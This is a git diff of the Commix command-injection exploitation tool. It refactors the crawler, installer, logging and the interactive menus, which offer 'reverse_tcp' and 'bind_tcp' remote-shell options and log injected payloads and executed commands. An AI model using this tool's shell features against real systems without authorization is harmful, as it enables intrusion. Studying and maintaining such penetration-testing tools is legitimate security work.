http_request_method) + if type(response) is not bool and response is not None: + if settings.SITEMAP_CHECK: + enable_crawler() + if settings.SITEMAP_CHECK is None: + check_sitemap() + if settings.SITEMAP_CHECK: + output_href = sitemap(url, http_request_method) + if not settings.SITEMAP_CHECK or (settings.SITEMAP_CHECK and output_href is None): + info_msg = "Starting crawler for target URL '" + url + "'" + _ + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + output_href = do_process(url, http_request_method) + if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1: + settings.DEFAULT_CRAWLING_DEPTH = 1 + while settings.DEFAULT_CRAWLING_DEPTH <= int(menu.options.crawldepth): + info_msg = "Searching for usable " + info_msg += "links with depth " + str(settings.DEFAULT_CRAWLING_DEPTH) + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.DEFAULT_CRAWLING_DEPTH == 2: + output_href = new_crawled_hrefs + elif settings.DEFAULT_CRAWLING_DEPTH > 2: + output_href = new_crawled_hrefs + crawled_hrefs + try: + [output_href.remove(x) for x in visited_hrefs if x in output_href] + except TypeError: pass - else: - menu.options.crawldepth = message - break - - while True: - if not menu.options.sitemap_url: - if not menu.options.batch: - question_msg = "Do you want to check target for " - question_msg += "the existence of site's sitemap(.xml)? [y/N] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "n" - if message in settings.CHOICE_YES: - sitemap_check = True - break - elif message in settings.CHOICE_NO: - sitemap_check = False - break - elif message in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - sitemap_check = True - break - - if sitemap_check: - output_href = sitemap(url) - if output_href is None : - sitemap_check = False - - info_msg = "Checking " - if sitemap_check: - info_msg += "identified 'sitemap.xml' " - info_msg += "for usable links (with GET parameters). " - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + link = 0 + if output_href is not None: + for url in output_href: + if url not in visited_hrefs and url is not None: + link += 1 + settings.CRAWLED_URLS_NUM = link + if settings.SINGLE_WHITESPACE in url: + url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) + visited_hrefs.append(url) + do_process(url, http_request_method) + info_msg = str(link) + info_msg += "/" + str(len(output_href)) + " links visited." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + + if link != 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.DEFAULT_CRAWLING_DEPTH += 1 - if not sitemap_check: - output_href = do_process(url) - if menu.options.crawldepth > 1: - for url in output_href: - output_href = do_process(url) - if SKIPPED_URLS == 0: - print(settings.SINGLE_WHITESPACE) - - if not settings.VERBOSITY_LEVEL >= 2: - print("") - info_msg = "Visited " + str(len(output_href)) + " link"+ "s"[len(output_href) == 1:] + "." - print(settings.print_info_msg(info_msg)) - filename = store_crawling() - valid_url_found = False - try: - url_num = 0 - valid_urls = [] - for check_url in output_href: - if re.search(r"(.*?)\?(.+)", check_url): - valid_url_found = True - url_num += 1 - print(settings.print_info_msg("URL #" + str(url_num) + " - " + check_url) + "") - if filename is not None: - with open(filename, "a") as crawling_results: - crawling_results.write(check_url + "\n") - if not menu.options.batch: - question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "Y" - if message in settings.CHOICE_YES: - return check_url - elif message in settings.CHOICE_NO: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping '" + check_url + "'.\n" - sys.stdout.write(settings.print_debug_msg(debug_msg)) - pass - elif message in settings.CHOICE_QUIT: - raise SystemExit() - raise SystemExit() - except TypeError: - pass - if not valid_url_found: - print(settings.SINGLE_WHITESPACE) - raise SystemExit() + output_href = crawled_hrefs + no_usable_links(output_href) + return output_href # eof \ No newline at end of file diff --git a/src/utils/install.py b/src/utils/install.py index 26e6b5c4bf..264423b4e1 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -18,8 +18,9 @@ import platform import subprocess from src.utils import menu +from src.utils import common from src.utils import settings -from src.utils import requirments +from src.utils import requirements from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init @@ -32,141 +33,134 @@ """ def uninstaller(): info_msg = "Starting the uninstaller. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: subprocess.Popen("rm -rf /usr/bin/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() subprocess.Popen("rm -rf /usr/share/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() - - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - info_msg = "The un-installation of commix has finished!" - print(settings.print_bold_info_msg(info_msg)) + + settings.print_data_to_stdout(settings.SUCCESS_STATUS) + info_msg = "The un-installation of commix has finished!" + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + """ The installer. """ def installer(): packages = "build-essential python-dev" dependencies = "git python-pip" - + info_msg = "Starting the installer. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + # Check if OS is Linux. - if platform.system() == "Linux": - - # You need to have root privileges to run this script - if os.geteuid() != 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "You need to have root privileges to run this option!" - print(settings.print_critical_msg(err_msg)) + if settings.PLATFORM == "posix": + # You need to have administrative privileges to run this script. + if not common.running_as_admin(): + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + err_msg = "You need to have administrative privileges to run this option." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - + # Check if commix is already installed. if os.path.isdir("/usr/share/" + settings.APPLICATION + ""): - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that " + settings.APPLICATION + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + warn_msg = "It seems that " + settings.APPLICATION warn_msg += " is already installed in your system." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) while True: - if not menu.options.batch: - question_msg = "Do you want to remove commix? [Y/n] > " - uninstall = _input(settings.print_question_msg(question_msg)) - else: - uninstall = "" - if len(uninstall) == 0: - uninstall = "Y" + message = "Do you want to remove commix? [Y/n] > " + uninstall = common.read_input(message, default="Y", check_batch=True) if uninstall in settings.CHOICE_YES: uninstaller() raise SystemExit() elif uninstall in settings.CHOICE_NO or \ - uninstall in settings.CHOICE_QUIT: + uninstall in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + uninstall + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(uninstall) pass - + # Check for git. if not os.path.isfile("/usr/bin/git") or not os.path.isfile("/usr/bin/pip"): # Install requirement. if os.path.isfile("/etc/apt/sources.list"): - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.SUCCESS_STATUS) + # Check for dependencies. dependencies_items = dependencies.split() for item in dependencies_items: - requirments.do_check(item) + requirements.do_check(item) else: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "The installer is not designed for any " - err_msg += "other Linux distro than Ubuntu / Debian. " + err_msg += "other Linux distro than Ubuntu / Debian. " err_msg += "Please install manually: " + dependencies - print(Back.RED + err_msg + Style.RESET_ALL) - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() - + # Force install of necessary packages subprocess.Popen("apt-get --force-yes -y install " + packages + ">/dev/null 2>&1", shell=True).wait() - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.SUCCESS_STATUS) + - info_msg = "Installing " + settings.APPLICATION + info_msg = "Installing " + settings.APPLICATION info_msg += " into the /usr/share/" + settings.APPLICATION + ". " - sys.stdout.write(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) try: current_dir = os.getcwd() subprocess.Popen("cp -r " + current_dir + " /usr/share/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() subprocess.Popen("chmod 775 /usr/share/" + settings.APPLICATION + "/" + settings.APPLICATION + ".py >/dev/null 2>&1", shell=True).wait() except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.SUCCESS_STATUS) - info_msg = "Installing " + settings.APPLICATION + + info_msg = "Installing " + settings.APPLICATION info_msg += " to /usr/bin/" + settings.APPLICATION + ". " - sys.stdout.write(settings.print_info_msg(info_msg)) - try: + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: with open("/usr/bin/" + settings.APPLICATION, 'w') as f: f.write('#!/bin/bash\n') f.write('cd /usr/share/commix/ && ./commix.py "$@"\n') subprocess.Popen("chmod +x /usr/bin/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.SUCCESS_STATUS) + #Create the Output Directory try: os.stat(settings.OUTPUT_DIR) except: try: - os.mkdir(settings.OUTPUT_DIR) + os.mkdir(settings.OUTPUT_DIR) except OSError as err_msg: try: error_msg = str(err_msg).split("] ")[1] + "." except IndexError: error_msg = str(err_msg) + "." - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) raise SystemExit() - info_msg = "The installation is finished! Type '" - info_msg += settings.APPLICATION + "' to launch it." - print(settings.print_bold_info_msg(info_msg)) + info_msg = "The installation is finished! Type '" + info_msg += settings.APPLICATION + "' to launch it." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) else : - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "The installer is not designed for any other system other than Linux. " err_msg += "Please install manually: " + packages + dependencies - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() # eof \ No newline at end of file diff --git a/src/utils/logs.py b/src/utils/logs.py index c9f4452e43..6d419b6e77 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -16,8 +16,10 @@ import re import sys import time +import tempfile import sqlite3 -import datetime +from datetime import date +from datetime import datetime from src.utils import menu from src.utils import settings from src.utils import session_handler @@ -31,133 +33,149 @@ """ """ -Create log files +Directory creation """ -def create_log_file(url, output_dir): - if not output_dir.endswith("/"): - output_dir = output_dir + "/" - - parts = url.split('//', 1) - try: - host = parts[1].split('/', 1)[0] - except IndexError: - host = parts[0].split('/', 1)[0] - except OSError as err_msg: - try: - error_msg = str(err_msg).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg) + "." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - - - # Check if port is defined to host. - if ":" in host: - host = host.replace(":","_") - try: - os.stat(output_dir + host + "/") - except: +def path_creation(path): + if not os.path.exists(path): try: - os.mkdir(output_dir + host + "/") + os.mkdir(path) except OSError as err_msg: try: error_msg = str(err_msg).split("] ")[1] + "." except IndexError: error_msg = str(err_msg) + "." - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) raise SystemExit() +""" +Logs filename creation. +""" +def logs_filename_creation(url): + if menu.options.output_dir: + menu.options.output_dir = os.path.abspath(menu.options.output_dir) + if os.path.isdir(menu.options.output_dir): + output_dir = menu.options.output_dir + warn_msg = "Using '" + output_dir + "' for output directory." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + else: + output_dir = tempfile.mkdtemp(prefix=settings.APPLICATION) + warn_msg = "Unable to create output directory '" + menu.options.output_dir + "'. " + warn_msg += "Using temporary directory '" + output_dir + "' instead." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + else: + output_dir = settings.OUTPUT_DIR + path_creation(os.path.dirname(settings.OUTPUT_DIR)) + + if not output_dir.endswith("/"): + output_dir = output_dir + "/" + + # The logs filename construction. + filename = create_log_file(url, output_dir) + return filename + +""" +Create log files +""" +def create_log_file(url, output_dir): + host = _urllib.parse.urlparse(url).netloc.replace(":","_") + "/" + logs_path = output_dir + host + + path_creation(logs_path) + # Create cli history file if does not exist. - settings.CLI_HISTORY = output_dir + host + "/" + "cli_history" + settings.CLI_HISTORY = logs_path + "cli_history" if not os.path.exists(settings.CLI_HISTORY): - open(settings.CLI_HISTORY,'a').close() + open(settings.CLI_HISTORY,'a').close() if menu.options.session_file is not None: if os.path.exists(menu.options.session_file): settings.SESSION_FILE = menu.options.session_file else: - err_msg = "The provided session file ('" + \ - menu.options.session_file + \ - "') does not exist." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - settings.SESSION_FILE = output_dir + host + "/" + "session" + ".db" + err_msg = "The provided session file ('" + menu.options.session_file + "') does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + else: + settings.SESSION_FILE = logs_path + "session.db" # Load command history - checks.load_cmd_history() + if settings.LOAD_SESSION == True and os.path.exists(settings.CLI_HISTORY): + checks.load_cmd_history() # The logs filename construction. - filename = output_dir + host + "/" + settings.OUTPUT_FILE + filename = logs_path + settings.OUTPUT_FILE try: - output_file = open(filename, "a") - output_file.write("\n" + "=" * 37) - output_file.write("\n" + "| Started in " + \ - datetime.datetime.fromtimestamp(time.time()).strftime('%m/%d/%Y' + \ - " at " + '%H:%M:%S' + " |")) - output_file.write("\n" + "=" * 37) - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Tested URL : " + url) - output_file.close() + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + if not menu.options.no_logging: + output_file.write("\n" + "=" * 37) + output_file.write("\n" + "| Started in " + \ + str(date.today()) + \ + " at " + datetime.now().strftime("%H:%M:%S") + " |") + output_file.write("\n" + "=" * 37) + output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Tested URL : " + url) except IOError as err_msg: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." except: error_msg = str(err_msg.args[0]) + "." - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) raise SystemExit() - + + if not menu.options.output_dir: + filename = os.path.abspath(filename) + return filename """ Add the injection type / technique in log files. """ def add_type_and_technique(export_injection_info, filename, injection_type, technique): + if export_injection_info == False: settings.SHOW_LOGS_MSG = True - output_file = open(filename, "a") - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Type: " + injection_type.title()) - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Technique: " + technique.title()) - output_file.close() - export_injection_info = True - + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + if not menu.options.no_logging: + output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Type: " + injection_type.title()) + output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Technique: " + technique.title()) + export_injection_info = True return export_injection_info """ Add the vulnerable parameter in log files. """ def add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload): - output_file = open(filename, "a") - if header_name[1:] == "cookie": - header_name = " ("+ header_name[1:] + ") " + vuln_parameter - if header_name[1:] == "": - header_name = " ("+ http_request_method + ") " + vuln_parameter - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + the_type[1:].title() + ": " + header_name[1:]) - vp_flag = False - output_file.write("\n") - output_file.close() + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + if not menu.options.no_logging: + if header_name[1:] == settings.COOKIE.lower(): + header_name = " ("+ header_name[1:] + ") " + vuln_parameter + if header_name[1:] == "": + header_name = " ("+ http_request_method + ") " + vuln_parameter + output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + the_type[1:].title() + ": " + header_name[1:]) + vp_flag = False + output_file.write("\n") + """ Add any payload in log files. """ def update_payload(filename, counter, payload): - output_file = open(filename, "a") - if "\n" in payload: - output_file.write(" (" +str(counter)+ ") Payload: " + re.sub("%20", " ", _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n") - else: - output_file.write(" (" +str(counter)+ ") Payload: " + payload.replace("%20", " ") + "\n") - output_file.close() + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + if not menu.options.no_logging: + if "\n" in payload: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", settings.SINGLE_WHITESPACE, _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n") + else: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + payload.replace("%20", settings.SINGLE_WHITESPACE) + "\n") """ -Add any executed command and +Add any executed command and execution output result in log files. """ def executed_command(filename, cmd, output): try: - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + "\n") - output_file.write(" " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + output + "\n") - output_file.close() - except TypeError: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + "\n") + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + str(output.encode(settings.DEFAULT_CODEC).decode()) + "\n") + except: pass """ @@ -165,16 +183,15 @@ def executed_command(filename, cmd, output): """ def logs_notification(filename): # Save command history. - info_msg = "Fetched data logged to text files under '" + os.getcwd() + "/" + filename + "'." - print(settings.print_info_msg(info_msg)) + if not menu.options.no_logging: + info_msg = "Fetched data logged to text files under '" + filename + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) """ Log all HTTP traffic into a textual file. """ def log_traffic(header): output_file = open(menu.options.traffic_file, "a") - if type(header) is bytes: - header = header.decode(settings.UNICODE_ENCODING) output_file.write(header) output_file.close() @@ -182,9 +199,11 @@ def log_traffic(header): Print logs notification. """ def print_logs_notification(filename, url): - checks.save_cmd_history() - if settings.SHOW_LOGS_MSG == True: - logs_notification(filename) + if os.path.exists(settings.CLI_HISTORY): + checks.save_cmd_history() + if settings.SHOW_LOGS_MSG == True and not menu.options.no_logging: + if not settings.LOAD_SESSION: + logs_notification(filename) if url: session_handler.clear(url) diff --git a/src/utils/menu.py b/src/utils/menu.py index 237b7c485c..7046769a0d 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -18,6 +18,7 @@ from src.utils import settings from optparse import OptionGroup from optparse import OptionParser +from optparse import SUPPRESS_HELP as SUPPRESS from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init @@ -29,16 +30,16 @@ The commix's banner. """ def banner(): - print(""" __ - ___ ___ ___ ___ ___ ___ /\_\ __ _ - /`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ """ + Style.BRIGHT + Style.UNDERLINE + settings.VERSION + Style.RESET_ALL + """ -/\ \__//\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\\/> ) to quit commix. -Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection. -Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection. -""") + settings.print_data_to_stdout("""""" + Style.BRIGHT + """Available 'os_shell' options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' / '""" + Style.BRIGHT + """exit""" + Style.RESET_ALL + """' (or use ) to quit commix. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection.""") """ The "reverse_tcp" available options. """ def reverse_tcp_options(): - print(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Available options""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. -Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. -Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. -Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix. -Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell. -Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection. -""") + settings.print_data_to_stdout("""""" + Style.BRIGHT + """Available 'reverse_tcp' options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' / '""" + Style.BRIGHT + """exit""" + Style.RESET_ALL + """' (or use ) to quit commix. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection.""") """ The "bind_tcp" available options. """ def bind_tcp_options(): - print(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Available options""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. -Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. -Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. -Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix. -Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell. -Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection. -""") + settings.print_data_to_stdout("""""" + Style.BRIGHT + """Available 'bind_tcp' options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' / '""" + Style.BRIGHT + """exit""" + Style.RESET_ALL + """' (or use ) to quit commix. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection.""") """ The available mobile user agents. """ def mobile_user_agents(): - print("""---[ """ + Style.BRIGHT + Fore.BLUE + """Available smartphones HTTP User-Agent headers""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for BlackBerry Z10. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for Samsung Galaxy S7. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' for HP iPAQ 6365. -Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' for HTC 10. -Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' for Huawei P8. -Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' for Apple iPhone 8. -Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' for Microsoft Lumia 950. -Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' for Google Nexus 7. -Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' for Nokia N97. -Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' for Google Pixel". -Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' for Xiaomi Mi 3.""") - - while True: - question_msg = "Which smartphone do you want to imitate through HTTP User-Agent header? " - mobile_user_agent = _input(settings.print_question_msg(question_msg)) - try: - if int(mobile_user_agent) in range(0,len(settings.MOBILE_USER_AGENT_LIST)): - return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)] - elif mobile_user_agent.lower() == "q": - raise SystemExit() - else: - err_msg = "'" + mobile_user_agent + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - except ValueError: - err_msg = "'" + mobile_user_agent + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass + settings.print_data_to_stdout("""""" + Style.BRIGHT + """Available smartphones HTTP User-Agent headers:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for BlackBerry Z10. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for Samsung Galaxy S7. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' for HP iPAQ 6365. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' for HTC 10. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' for Huawei P8. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' for Apple iPhone 8. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' for Microsoft Lumia 950. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' for Google Nexus 7. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' for Nokia N97. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' for Google Pixel". +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' for Xiaomi Mi 3.""") """ The tab compliter (shell options). @@ -717,24 +746,14 @@ def tab_completer(text, state): Check if enumeration options are enabled. """ def enumeration_options(): - if options.hostname or \ 